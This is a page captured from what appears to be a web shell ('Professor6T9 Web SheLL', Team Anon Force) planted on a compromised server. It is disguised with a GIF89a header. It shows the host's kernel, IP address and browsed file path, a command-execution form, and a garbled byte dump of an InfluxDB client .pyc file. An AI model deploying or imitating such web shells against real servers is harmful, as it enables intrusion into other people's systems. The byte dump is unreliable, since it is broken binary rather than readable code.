GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
proc
/
self
/
root
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
influxdb_client
/
client
/
__pycache__
[ HOME ]
Exec
Submit
File Name : authorizations_api.cpython-38.pyc
U ܒi � @ s0 d Z ddlmZmZmZmZ G dd� de�ZdS )zGAuthorization is about managing the security of your InfluxDB instance.� )� Authorization�AuthorizationsService�User�Organizationc @ s� e Zd ZdZdd� Zd&eeeed�dd�Zeed�d d �Z dd� Z ed �dd�Zed�dd�Z ed�dd�Zed�dd�Zed�dd�Zed�dd�Zdd � Zed!�d"d#�Zd$d%� ZdS )'�AuthorizationsApiz5Implementation for '/api/v2/authorizations' endpoint.c C s || _ t|j�| _dS )zInitialize defaults.N)Z_influxdb_clientr Z api_client�_authorizations_service)�self�influxdb_client� r �Z/opt/alt/python38/lib/python3.8/site-packages/influxdb_client/client/authorizations_api.py�__init__ s zAuthorizationsApi.__init__N)�org_id�permissions� authorization�returnc C sH |dk r.t |t�s td|� ���| jj|d�S t||d�}| jj|d�S )z� Create an authorization. :type permissions: list of Permission :param org_id: organization id :param permissions: list of permissions :type authorization: authorization object Nz:Attempt to use non-Authorization value for authorization: )Zauthorization_post_request�r r )� isinstancer � TypeErrorr Zpost_authorizations)r r r r r r r �create_authorization s z&AuthorizationsApi.create_authorization)�auth_idr c C s | j j|d�S )zt Find authorization by id. :param auth_id: authorization id :return: Authorization �r )r Zget_authorizations_id)r r r r r �find_authorization_by_id"